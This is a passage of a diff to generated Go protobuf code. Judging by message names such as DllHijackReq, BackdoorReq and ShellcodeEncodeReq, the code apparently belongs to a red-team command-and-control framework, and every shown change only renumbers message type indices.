mi := &file_clientpb_client_proto_msgTypes[79] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6452,7 +6937,7 @@ func (x *IOC) ProtoReflect() protoreflect.Message { // Deprecated: Use IOC.ProtoReflect.Descriptor instead. func (*IOC) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{73} + return file_clientpb_client_proto_rawDescGZIP(), []int{79} } func (x *IOC) GetPath() string { @@ -6487,7 +6972,7 @@ type ExtensionData struct { func (x *ExtensionData) Reset() { *x = ExtensionData{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[80] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6500,7 +6985,7 @@ func (x *ExtensionData) String() string { func (*ExtensionData) ProtoMessage() {} func (x *ExtensionData) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[80] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6513,7 +6998,7 @@ func (x *ExtensionData) ProtoReflect() protoreflect.Message { // Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead. func (*ExtensionData) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{74} + return file_clientpb_client_proto_rawDescGZIP(), []int{80} } func (x *ExtensionData) GetOutput() string { @@ -6540,7 +7025,7 @@ type Host struct { func (x *Host) Reset() { *x = Host{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[81] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6553,7 +7038,7 @@ func (x *Host) String() string { func (*Host) ProtoMessage() {} func (x *Host) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[81] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6566,7 +7051,7 @@ func (x *Host) ProtoReflect() protoreflect.Message { // Deprecated: Use Host.ProtoReflect.Descriptor instead. func (*Host) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{75} + return file_clientpb_client_proto_rawDescGZIP(), []int{81} } func (x *Host) GetHostname() string { @@ -6629,7 +7114,7 @@ type AllHosts struct { func (x *AllHosts) Reset() { *x = AllHosts{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[82] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6642,7 +7127,7 @@ func (x *AllHosts) String() string { func (*AllHosts) ProtoMessage() {} func (x *AllHosts) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[82] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6655,7 +7140,7 @@ func (x *AllHosts) ProtoReflect() protoreflect.Message { // Deprecated: Use AllHosts.ProtoReflect.Descriptor instead. func (*AllHosts) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{76} + return file_clientpb_client_proto_rawDescGZIP(), []int{82} } func (x *AllHosts) GetHosts() []*Host { @@ -6682,7 +7167,7 @@ type DllHijackReq struct { func (x *DllHijackReq) Reset() { *x = DllHijackReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[83] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6695,7 +7180,7 @@ func (x *DllHijackReq) String() string { func (*DllHijackReq) ProtoMessage() {} func (x *DllHijackReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[83] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6708,7 +7193,7 @@ func (x *DllHijackReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead. func (*DllHijackReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{77} + return file_clientpb_client_proto_rawDescGZIP(), []int{83} } func (x *DllHijackReq) GetReferenceDLLPath() string { @@ -6764,7 +7249,7 @@ type DllHijack struct { func (x *DllHijack) Reset() { *x = DllHijack{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[84] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6777,7 +7262,7 @@ func (x *DllHijack) String() string { func (*DllHijack) ProtoMessage() {} func (x *DllHijack) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[84] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6790,7 +7275,7 @@ func (x *DllHijack) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijack.ProtoReflect.Descriptor instead. func (*DllHijack) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{78} + return file_clientpb_client_proto_rawDescGZIP(), []int{84} } func (x *DllHijack) GetResponse() *commonpb.Response { @@ -6813,7 +7298,7 @@ type BackdoorReq struct { func (x *BackdoorReq) Reset() { *x = BackdoorReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[85] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6826,7 +7311,7 @@ func (x *BackdoorReq) String() string { func (*BackdoorReq) ProtoMessage() {} func (x *BackdoorReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[85] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6839,7 +7324,7 @@ func (x *BackdoorReq) ProtoReflect() protoreflect.Message { // Deprecated: Use BackdoorReq.ProtoReflect.Descriptor instead. func (*BackdoorReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{79} + return file_clientpb_client_proto_rawDescGZIP(), []int{85} } func (x *BackdoorReq) GetFilePath() string { @@ -6874,7 +7359,7 @@ type Backdoor struct { func (x *Backdoor) Reset() { *x = Backdoor{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[86] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6887,7 +7372,7 @@ func (x *Backdoor) String() string { func (*Backdoor) ProtoMessage() {} func (x *Backdoor) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[86] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6900,7 +7385,7 @@ func (x *Backdoor) ProtoReflect() protoreflect.Message { // Deprecated: Use Backdoor.ProtoReflect.Descriptor instead. func (*Backdoor) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{80} + return file_clientpb_client_proto_rawDescGZIP(), []int{86} } func (x *Backdoor) GetResponse() *commonpb.Response { @@ -6926,7 +7411,7 @@ type ShellcodeEncodeReq struct { func (x *ShellcodeEncodeReq) Reset() { *x = ShellcodeEncodeReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[87] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6939,7 +7424,7 @@ func (x *ShellcodeEncodeReq) String() string { func (*ShellcodeEncodeReq) ProtoMessage() {} func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[87] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6952,7 +7437,7 @@ func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncodeReq.ProtoReflect.Descriptor instead. func (*ShellcodeEncodeReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{81} + return file_clientpb_client_proto_rawDescGZIP(), []int{87} } func (x *ShellcodeEncodeReq) GetEncoder() ShellcodeEncoder { @@ -7009,7 +7494,7 @@ type ShellcodeEncode struct { func (x *ShellcodeEncode) Reset() { *x = ShellcodeEncode{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[88] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7022,7 +7507,7 @@ func (x *ShellcodeEncode) String() string { func (*ShellcodeEncode) ProtoMessage() {} func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[88] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7035,7 +7520,7 @@ func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncode.ProtoReflect.Descriptor instead. func (*ShellcodeEncode) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{82} + return file_clientpb_client_proto_rawDescGZIP(), []int{88} } func (x *ShellcodeEncode) GetData() []byte { @@ -7063,7 +7548,7 @@ type ShellcodeEncoderMap struct { func (x *ShellcodeEncoderMap) Reset() { *x = ShellcodeEncoderMap{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[89] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7076,7 +7561,7 @@ func (x *ShellcodeEncoderMap) String() string { func (*ShellcodeEncoderMap) ProtoMessage() {} func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[89] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7089,7 +7574,7 @@ func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncoderMap.ProtoReflect.Descriptor instead. func (*ShellcodeEncoderMap) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{83} + return file_clientpb_client_proto_rawDescGZIP(), []int{89} } func (x *ShellcodeEncoderMap) GetEncoders() map[string]ShellcodeEncoder { @@ -7111,7 +7596,7 @@ type ExternalGenerateReq struct { func (x *ExternalGenerateReq) Reset() { *x = ExternalGenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[90] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7124,7 +7609,7 @@ func (x *ExternalGenerateReq) String() string { func (*ExternalGenerateReq) ProtoMessage() {} func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[90] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7137,7 +7622,7 @@ func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalGenerateReq.ProtoReflect.Descriptor instead. func (*ExternalGenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{84} + return file_clientpb_client_proto_rawDescGZIP(), []int{90} } func (x *ExternalGenerateReq) GetConfig() *ImplantConfig { @@ -7165,7 +7650,7 @@ type Builders struct { func (x *Builders) Reset() { *x = Builders{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[91] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7178,7 +7663,7 @@ func (x *Builders) String() string { func (*Builders) ProtoMessage() {} func (x *Builders) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[91] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7191,7 +7676,7 @@ func (x *Builders) ProtoReflect() protoreflect.Message { // Deprecated: Use Builders.ProtoReflect.Descriptor instead. func (*Builders) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{85} + return file_clientpb_client_proto_rawDescGZIP(), []int{91} } func (x *Builders) GetBuilders() []*Builder { @@ -7218,7 +7703,7 @@ type Builder struct { func (x *Builder) Reset() { *x = Builder{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[92] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7231,7 +7716,7 @@ func (x *Builder) String() string { func (*Builder) ProtoMessage() {} func (x *Builder) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[92] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7244,7 +7729,7 @@ func (x *Builder) ProtoReflect() protoreflect.Message { // Deprecated: Use Builder.ProtoReflect.Descriptor instead. func (*Builder) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{86} + return file_clientpb_client_proto_rawDescGZIP(), []int{92} } func (x *Builder) GetName() string { @@ -7314,7 +7799,7 @@ type Credential struct { func (x *Credential) Reset() { *x = Credential{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[93] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7327,7 +7812,7 @@ func (x *Credential) String() string { func (*Credential) ProtoMessage() {} func (x *Credential) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[93] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7340,7 +7825,7 @@ func (x *Credential) ProtoReflect() protoreflect.Message { // Deprecated: Use Credential.ProtoReflect.Descriptor instead. func (*Credential) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{87} + return file_clientpb_client_proto_rawDescGZIP(), []int{93} } func (x *Credential) GetID() string { @@ -7410,7 +7895,7 @@ type Credentials struct { func (x *Credentials) Reset() { *x = Credentials{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[94] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7423,7 +7908,7 @@ func (x *Credentials) String() string { func (*Credentials) ProtoMessage() {} func (x *Credentials) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[94] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7436,7 +7921,7 @@ func (x *Credentials) ProtoReflect() protoreflect.Message { // Deprecated: Use Credentials.ProtoReflect.Descriptor instead. func (*Credentials) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{88} + return file_clientpb_client_proto_rawDescGZIP(), []int{94} } func (x *Credentials) GetCredentials() []*Credential { @@ -7458,7 +7943,7 @@ type Crackstations struct { func (x *Crackstations) Reset() { *x = Crackstations{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[95] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7471,7 +7956,7 @@ func (x *Crackstations) String() string { func (*Crackstations) ProtoMessage() {} func (x *Crackstations) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[95] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7484,7 +7969,7 @@ func (x *Crackstations) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstations.ProtoReflect.Descriptor instead. func (*Crackstations) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{89} + return file_clientpb_client_proto_rawDescGZIP(), []int{95} } func (x *Crackstations) GetCrackstations() []*Crackstation { @@ -7510,7 +7995,7 @@ type CrackstationStatus struct { func (x *CrackstationStatus) Reset() { *x = CrackstationStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[96] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7523,7 +8008,7 @@ func (x *CrackstationStatus) String() string { func (*CrackstationStatus) ProtoMessage() {} func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[96] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7536,7 +8021,7 @@ func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackstationStatus.ProtoReflect.Descriptor instead. func (*CrackstationStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{90} + return file_clientpb_client_proto_rawDescGZIP(), []int{96} } func (x *CrackstationStatus) GetName() string { @@ -7593,7 +8078,7 @@ type CrackSyncStatus struct { func (x *CrackSyncStatus) Reset() { *x = CrackSyncStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[97] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7606,7 +8091,7 @@ func (x *CrackSyncStatus) String() string { func (*CrackSyncStatus) ProtoMessage() {} func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[97] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7619,7 +8104,7 @@ func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackSyncStatus.ProtoReflect.Descriptor instead. func (*CrackSyncStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{91} + return file_clientpb_client_proto_rawDescGZIP(), []int{97} } func (x *CrackSyncStatus) GetSpeed() float32 { @@ -7649,7 +8134,7 @@ type CrackBenchmark struct { func (x *CrackBenchmark) Reset() { *x = CrackBenchmark{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[98] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7662,7 +8147,7 @@ func (x *CrackBenchmark) String() string { func (*CrackBenchmark) ProtoMessage() {} func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[98] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7675,7 +8160,7 @@ func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackBenchmark.ProtoReflect.Descriptor instead. func (*CrackBenchmark) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{92} + return file_clientpb_client_proto_rawDescGZIP(), []int{98} } func (x *CrackBenchmark) GetName() string { @@ -7716,7 +8201,7 @@ type CrackTask struct { func (x *CrackTask) Reset() { *x = CrackTask{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[99] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7729,7 +8214,7 @@ func (x *CrackTask) String() string { func (*CrackTask) ProtoMessage() {} func (x *CrackTask) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[99] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7742,7 +8227,7 @@ func (x *CrackTask) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackTask.ProtoReflect.Descriptor instead. func (*CrackTask) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{93} + return file_clientpb_client_proto_rawDescGZIP(), []int{99} } func (x *CrackTask) GetID() string { @@ -7815,7 +8300,7 @@ type Crackstation struct { func (x *Crackstation) Reset() { *x = Crackstation{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[100] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7828,7 +8313,7 @@ func (x *Crackstation) String() string { func (*Crackstation) ProtoMessage() {} func (x *Crackstation) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[100] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7841,7 +8326,7 @@ func (x *Crackstation) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstation.ProtoReflect.Descriptor instead. func (*Crackstation) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{94} + return file_clientpb_client_proto_rawDescGZIP(), []int{100} } func (x *Crackstation) GetName() string { @@ -7941,7 +8426,7 @@ type CUDABackendInfo struct { func (x *CUDABackendInfo) Reset() { *x = CUDABackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[101] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7954,7 +8439,7 @@ func (x *CUDABackendInfo) String() string { func (*CUDABackendInfo) ProtoMessage() {} func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[101] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7967,7 +8452,7 @@ func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use CUDABackendInfo.ProtoReflect.Descriptor instead. func (*CUDABackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{95} + return file_clientpb_client_proto_rawDescGZIP(), []int{101} } func (x *CUDABackendInfo) GetType() string { @@ -8061,7 +8546,7 @@ type OpenCLBackendInfo struct { func (x *OpenCLBackendInfo) Reset() { *x = OpenCLBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[102] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8074,7 +8559,7 @@ func (x *OpenCLBackendInfo) String() string { func (*OpenCLBackendInfo) ProtoMessage() {} func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[96] + mi := &file_clientpb_client_proto_msgTypes[102] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8087,7 +8572,7 @@ func (x *OpenCLBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use OpenCLBackendInfo.ProtoReflect.Descriptor instead. func (*OpenCLBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{96} + return file_clientpb_client_proto_rawDescGZIP(), []int{102} } func (x *OpenCLBackendInfo) GetType() string { @@ -8187,7 +8672,7 @@ type MetalBackendInfo struct { func (x *MetalBackendInfo) Reset() { *x = MetalBackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8200,7 +8685,7 @@ func (x *MetalBackendInfo) String() string { func (*MetalBackendInfo) ProtoMessage() {} func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[97] + mi := &file_clientpb_client_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8213,7 +8698,7 @@ func (x *MetalBackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use MetalBackendInfo.ProtoReflect.Descriptor instead. func (*MetalBackendInfo) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{97} + return file_clientpb_client_proto_rawDescGZIP(), []int{103} } func (x *MetalBackendInfo) GetType() string { @@ -8411,7 +8896,7 @@ type CrackCommand struct { func (x *CrackCommand) Reset() { *x = CrackCommand{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8424,7 +8909,7 @@ func (x *CrackCommand) String() string { func (*CrackCommand) ProtoMessage() {} func (x *CrackCommand) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[98] + mi := &file_clientpb_client_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8437,7 +8922,7 @@ func (x *CrackCommand) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackCommand.ProtoReflect.Descriptor instead. func (*CrackCommand) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{98} + return file_clientpb_client_proto_rawDescGZIP(), []int{104} } func (x *CrackCommand) GetAttackMode() CrackAttackMode { @@ -9168,7 +9653,7 @@ type CrackConfig struct { func (x *CrackConfig) Reset() { *x = CrackConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[105] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -9181,7 +9666,7 @@ func (x *CrackConfig) String() string { func (*CrackConfig) ProtoMessage() {} func (x *CrackConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[99] + mi := &file_clientpb_client_proto_msgTypes[105] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -9194,7 +9679,7 @@ func (x *CrackConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackConfig.ProtoReflect.Descriptor instead. func (*CrackConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{99} + return file_clientpb_client_proto_rawDescGZIP(), 